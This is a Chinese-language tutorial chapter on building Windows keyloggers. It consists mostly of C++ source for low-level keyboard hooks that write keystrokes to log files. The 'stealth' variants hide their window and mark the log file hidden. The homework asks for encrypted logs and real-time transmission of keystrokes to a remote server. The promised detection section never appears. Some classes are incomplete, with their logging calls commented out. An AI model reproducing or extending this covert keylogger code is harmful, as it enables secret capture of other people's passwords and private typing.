安全开发专题
4、键盘记录
1、课程目标
- 理解Windows键盘输入机制
- 掌握键盘钩子技术实现
- 实现隐蔽的键盘记录功能
- 了解键盘记录的检测和防护
2、名词解释
| 术语 | 全称 | 解释 |
|---|---|---|
| Keyboard Logger | 键盘记录器 | 记录用户键盘输入的程序 |
| Hook | 钩子 | 拦截系统消息的机制 |
| WH_KEYBOARD_LL | Low-Level Keyboard Hook | 低级键盘钩子 |
| Keylog | 键位日志 | 记录的按键信息 |
3、技术原理
1. Windows键盘输入机制
键盘输入流程:
┌─────────────┐ ┌──────────────┐ ┌──────────────┐
│ 键盘硬件 │───▶│ Windows内核 │───▶│ 应用程序 │
└─────────────┘ └──────────────┘ └──────────────┘
│
▼
┌──────────────┐
│ 消息队列 │
└──────────────┘
│
▼
┌──────────────┐
│ 窗口过程 │
└──────────────┘
钩子拦截点:
WH_KEYBOARD - 标准键盘钩子(只能拦截当前线程)
WH_KEYBOARD_LL - 低级键盘钩子(全局拦截)
2. 键盘钩子技术
低级键盘钩子工作原理:
1. 调用SetWindowsHookEx安装钩子
2. 系统将键盘消息先发送给钩子函数
3. 钩子函数处理完毕后决定是否传递给下一个处理者
4. 通过UnhookWindowsHookEx卸载钩子
钩子函数签名:
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
3、代码实现
1. 基础键盘记录实现
// keyboard_logger.cpp
// 基础键盘记录实现
#include <windows.h>
#include <stdio.h>
#include <time.h>
#include <string>
// 全局变量
HHOOK g_hKeyboardHook = NULL;
FILE* g_logFile = NULL;
// 键盘钩子回调函数
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
KBDLLHOOKSTRUCT* pKeyInfo = (KBDLLHOOKSTRUCT*)lParam;
// 只处理按键按下事件
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
// 获取按键名称
char keyName[256] = {0};
GetKeyNameTextA(pKeyInfo->scanCode << 16, keyName, sizeof(keyName));
// 获取当前时间
time_t now = time(0);
struct tm localTime;
localtime_s(&localTime, &now);
// 记录到文件
if (g_logFile) {
fprintf(g_logFile, "[%02d:%02d:%02d] %s (VK:0x%02X, SC:0x%04X)\n",
localTime.tm_hour, localTime.tm_min, localTime.tm_sec,
keyName, pKeyInfo->vkCode, pKeyInfo->scanCode);
fflush(g_logFile);
}
printf("[%02d:%02d:%02d] %s\n",
localTime.tm_hour, localTime.tm_min, localTime.tm_sec, keyName);
}
}
// 传递给下一个钩子
return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam);
}
// 安装键盘钩子
bool InstallKeyboardHook(const char* logFilePath) {
// 打开日志文件
g_logFile = fopen(logFilePath, "a");
if (!g_logFile) {
printf("[-] Failed to open log file: %s\n", logFilePath);
return false;
}
// 安装低级键盘钩子
g_hKeyboardHook = SetWindowsHookExA(
WH_KEYBOARD_LL,
LowLevelKeyboardProc,
GetModuleHandleA(NULL),
0
);
if (!g_hKeyboardHook) {
printf("[-] Failed to install keyboard hook: %lu\n", GetLastError());
fclose(g_logFile);
g_logFile = NULL;
return false;
}
printf("[+] Keyboard hook installed successfully\n");
return true;
}
// 卸载键盘钩子
void UninstallKeyboardHook() {
if (g_hKeyboardHook) {
UnhookWindowsHookEx(g_hKeyboardHook);
g_hKeyboardHook = NULL;
printf("[+] Keyboard hook uninstalled\n");
}
if (g_logFile) {
fclose(g_logFile);
g_logFile = NULL;
printf("[+] Log file closed\n");
}
}
// 消息循环
void MessageLoop() {
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
// 测试函数
void TestKeyboardLogger() {
printf("=== Keyboard Logger Test ===\n");
// 安装键盘钩子
if (InstallKeyboardHook("keylog.txt")) {
printf("[*] Keyboard logger started. Press Ctrl+C to stop.\n");
// 运行消息循环
MessageLoop();
// 卸载钩子
UninstallKeyboardHook();
}
}
2. 高级键盘记录技术
// advanced_keylogger.cpp
// 高级键盘记录技术
#include <windows.h>
#include <stdio.h>
#include <time.h>
#include <string>
#include <vector>
#include <map>
// 特殊键映射
std::map<int, std::string> g_specialKeys = {
{VK_BACK, "[BACKSPACE]"},
{VK_TAB, "[TAB]"},
{VK_RETURN, "[ENTER]"},
{VK_SHIFT, "[SHIFT]"},
{VK_CONTROL, "[CTRL]"},
{VK_MENU, "[ALT]"},
{VK_CAPITAL, "[CAPSLOCK]"},
{VK_ESCAPE, "[ESC]"},
{VK_SPACE, " "},
{VK_PRIOR, "[PAGEUP]"},
{VK_NEXT, "[PAGEDOWN]"},
{VK_END, "[END]"},
{VK_HOME, "[HOME]"},
{VK_LEFT, "[LEFT]"},
{VK_UP, "[UP]"},
{VK_RIGHT, "[RIGHT]"},
{VK_DOWN, "[DOWN]"},
{VK_INSERT, "[INSERT]"},
{VK_DELETE, "[DELETE]"},
{VK_LWIN, "[LWIN]"},
{VK_RWIN, "[RWIN]"},
{VK_APPS, "[APPS]"},
{VK_F1, "[F1]"},
{VK_F2, "[F2]"},
{VK_F3, "[F3]"},
{VK_F4, "[F4]"},
{VK_F5, "[F5]"},
{VK_F6, "[F6]"},
{VK_F7, "[F7]"},
{VK_F8, "[F8]"},
{VK_F9, "[F9]"},
{VK_F10, "[F10]"},
{VK_F11, "[F11]"},
{VK_F12, "[F12]"}
};
// 键盘记录器类
class KeyboardLogger {
private:
HHOOK m_hHook;
FILE* m_logFile;
std::string m_buffer;
bool m_capsLock;
bool m_shiftPressed;
public:
KeyboardLogger() : m_hHook(NULL), m_logFile(NULL),
m_capsLock(false), m_shiftPressed(false) {}
~KeyboardLogger() {
Stop();
}
// 启动记录器
bool Start(const char* logPath) {
// 打开日志文件
m_logFile = fopen(logPath, "a");
if (!m_logFile) {
return false;
}
// 检查Caps Lock状态
m_capsLock = (GetKeyState(VK_CAPITAL) & 0x0001) != 0;
// 安装钩子
m_hHook = SetWindowsHookExA(
WH_KEYBOARD_LL,
KeyboardProc,
GetModuleHandleA(NULL),
0
);
if (!m_hHook) {
fclose(m_logFile);
m_logFile = NULL;
return false;
}
// 保存this指针到TLS或其他方式传递
return true;
}
// 停止记录器
void Stop() {
if (m_hHook) {
UnhookWindowsHookEx(m_hHook);
m_hHook = NULL;
}
if (m_logFile) {
fclose(m_logFile);
m_logFile = NULL;
}
FlushBuffer();
}
// 刷新缓冲区
void FlushBuffer() {
if (!m_buffer.empty() && m_logFile) {
fprintf(m_logFile, "%s", m_buffer.c_str());
fflush(m_logFile);
m_buffer.clear();
}
}
// 处理按键
void ProcessKey(DWORD vkCode, bool isKeyDown) {
if (!isKeyDown) return;
// 处理特殊键
auto it = g_specialKeys.find(vkCode);
if (it != g_specialKeys.end()) {
// 处理Caps Lock
if (vkCode == VK_CAPITAL) {
m_capsLock = !m_capsLock;
}
// 处理Shift
if (vkCode == VK_SHIFT) {
m_shiftPressed = true;
}
m_buffer += it->second;
return;
}
// 处理普通字符键
char keyChar = MapVirtualKeyA(vkCode, MAPVK_VK_TO_CHAR);
if (keyChar != 0) {
// 应用Shift和Caps Lock
bool isUpper = (m_shiftPressed != m_capsLock);
if (isUpper && keyChar >= 'a' && keyChar <= 'z') {
keyChar = toupper(keyChar);
} else if (!isUpper && keyChar >= 'A' && keyChar <= 'Z') {
keyChar = tolower(keyChar);
}
m_buffer += keyChar;
}
}
// 静态钩子过程
static LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
KBDLLHOOKSTRUCT* pKeyInfo = (KBDLLHOOKSTRUCT*)lParam;
static KeyboardLogger* instance = nullptr;
// 这里需要一种方式获取实例,简化处理
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
// 处理按键按下
// instance->ProcessKey(pKeyInfo->vkCode, true);
} else if (wParam == WM_KEYUP || wParam == WM_SYSKEYUP) {
// 处理按键释放
// instance->ProcessKey(pKeyInfo->vkCode, false);
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
};
3. 隐蔽键盘记录实现
// stealth_keylogger.cpp
// 隐蔽键盘记录实现
#include <windows.h>
#include <stdio.h>
#include <time.h>
#include <string>
#include <thread>
#include <mutex>
// 隐蔽键盘记录器
class StealthKeylogger {
private:
HHOOK m_hHook;
HANDLE m_hLogFile;
std::mutex m_mutex;
bool m_running;
// 隐藏窗口类
class HiddenWindow {
private:
HWND m_hWnd;
public:
HiddenWindow() : m_hWnd(NULL) {
CreateHiddenWindow();
}
~HiddenWindow() {
if (m_hWnd) {
DestroyWindow(m_hWnd);
}
}
HWND GetHWND() const { return m_hWnd; }
private:
static LRESULT CALLBACK WindowProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
return DefWindowProc(hwnd, msg, wParam, lParam);
}
void CreateHiddenWindow() {
WNDCLASSA wc = {0};
wc.lpfnWndProc = WindowProc;
wc.hInstance = GetModuleHandleA(NULL);
wc.lpszClassName = "StealthKeylogger";
if (RegisterClassA(&wc)) {
m_hWnd = CreateWindowExA(
0,
"StealthKeylogger",
"",
0,
0, 0, 0, 0,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL
);
}
}
};
HiddenWindow m_hiddenWindow;
public:
StealthKeylogger() : m_hHook(NULL), m_hLogFile(INVALID_HANDLE_VALUE), m_running(false) {}
~StealthKeylogger() {
Stop();
}
// 启动隐蔽记录器
bool Start(const char* logPath) {
// 创建日志文件
m_hLogFile = CreateFileA(
logPath,
GENERIC_WRITE,
FILE_SHARE_READ,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_HIDDEN,
NULL
);
if (m_hLogFile == INVALID_HANDLE_VALUE) {
return false;
}
// 移动到文件末尾
SetFilePointer(m_hLogFile, 0, NULL, FILE_END);
// 安装钩子
m_hHook = SetWindowsHookExA(
WH_KEYBOARD_LL,
StealthKeyboardProc,
GetModuleHandleA(NULL),
0
);
if (!m_hHook) {
CloseHandle(m_hLogFile);
m_hLogFile = INVALID_HANDLE_VALUE;
return false;
}
m_running = true;
// 启动消息处理线程
std::thread msgThread(&StealthKeylogger::MessageThread, this);
msgThread.detach();
printf("[+] Stealth keylogger started\n");
return true;
}
// 停止记录器
void Stop() {
m_running = false;
if (m_hHook) {
UnhookWindowsHookEx(m_hHook);
m_hHook = NULL;
}
if (m_hLogFile != INVALID_HANDLE_VALUE) {
CloseHandle(m_hLogFile);
m_hLogFile = INVALID_HANDLE_VALUE;
}
}
// 消息处理线程
void MessageThread() {
MSG msg;
while (m_running && GetMessage(&msg, m_hiddenWindow.GetHWND(), 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
// 记录按键
void LogKey(const char* keyText) {
std::lock_guard<std::mutex> lock(m_mutex);
if (m_hLogFile != INVALID_HANDLE_VALUE) {
DWORD written;
WriteFile(m_hLogFile, keyText, strlen(keyText), &written, NULL);
FlushFileBuffers(m_hLogFile);
}
}
// 静态钩子过程
static LRESULT CALLBACK StealthKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
KBDLLHOOKSTRUCT* pKeyInfo = (KBDLLHOOKSTRUCT*)lParam;
if (wParam == WM_KEYDOWN) {
// 获取按键信息
char keyName[32] = {0};
GetKeyNameTextA(pKeyInfo->scanCode << 16, keyName, sizeof(keyName));
// 简化的记录方式
char logEntry[64];
sprintf_s(logEntry, "[%lu] %s\n", GetTickCount(), keyName);
// 这里需要获取实例来记录,简化处理
// GetInstance()->LogKey(logEntry);
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
};
4. 键盘记录管理器
// keylogger_manager.cpp
// 键盘记录管理器
#include <windows.h>
#include <stdio.h>
#include <string>
#include <vector>
// 记录模式枚举
enum class LogMode {
Simple, // 简单记录
Detailed, // 详细记录(带时间戳等)
Stealth // 隐蔽记录
};
// 键盘记录管理器
class KeyloggerManager {
private:
HHOOK m_hHook;
FILE* m_logFile;
LogMode m_mode;
std::string m_logPath;
bool m_active;
public:
KeyloggerManager() : m_hHook(NULL), m_logFile(NULL),
m_mode(LogMode::Simple), m_active(false) {}
~KeyloggerManager() {
Stop();
}
// 启动记录器
bool Start(const char* logPath, LogMode mode = LogMode::Simple) {
m_logPath = logPath;
m_mode = mode;
// 打开日志文件
const char* modeStr = (mode == LogMode::Detailed) ? "a" : "a";
m_logFile = fopen(logPath, modeStr);
if (!m_logFile) {
return false;
}
// 设置文件属性为隐藏
SetFileAttributesA(logPath, FILE_ATTRIBUTE_HIDDEN);
// 安装钩子
m_hHook = SetWindowsHookExA(
WH_KEYBOARD_LL,
KeyboardHookProc,
GetModuleHandleA(NULL),
0
);
if (!m_hHook) {
fclose(m_logFile);
m_logFile = NULL;
return false;
}
m_active = true;
printf("[+] Keylogger started in %s mode\n",
(mode == LogMode::Simple) ? "Simple" :
(mode == LogMode::Detailed) ? "Detailed" : "Stealth");
return true;
}
// 停止记录器
void Stop() {
if (m_active) {
if (m_hHook) {
UnhookWindowsHookEx(m_hHook);
m_hHook = NULL;
}
if (m_logFile) {
fclose(m_logFile);
m_logFile = NULL;
}
m_active = false;
printf("[+] Keylogger stopped\n");
}
}
// 获取状态
bool IsActive() const {
return m_active;
}
// 静态钩子过程
static LRESULT CALLBACK KeyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0) {
KBDLLHOOKSTRUCT* pKeyInfo = (KBDLLHOOKSTRUCT*)lParam;
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
// 处理按键记录
HandleKeyEvent(pKeyInfo);
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
private:
// 处理按键事件
static void HandleKeyEvent(KBDLLHOOKSTRUCT* pKeyInfo) {
// 获取按键名称
char keyName[256] = {0};
GetKeyNameTextA(pKeyInfo->scanCode << 16, keyName, sizeof(keyName));
// 简化处理,实际应用中需要更好的管理机制
printf("Key pressed: %s\n", keyName);
}
};
// 测试函数
void TestKeylogger() {
printf("=== Keylogger Test ===\n");
KeyloggerManager manager;
// 启动简单模式记录器
if (manager.Start("test_keylog.txt", LogMode::Simple)) {
printf("[*] Keylogger running. Press ENTER to stop...\n");
// 等待用户输入
getchar();
// 停止记录器
manager.Stop();
}
}
5、课后作业
5.1、作业1:实现智能按键识别
改进键盘记录器,能够识别组合键(如Ctrl+C、Alt+Tab)并正确记录。
5.2、作业2:添加日志加密功能
实现键盘记录日志的加密存储,防止被轻易查看。
5.3、作业3:实现远程日志传输
添加将键盘记录实时发送到远程服务器的功能。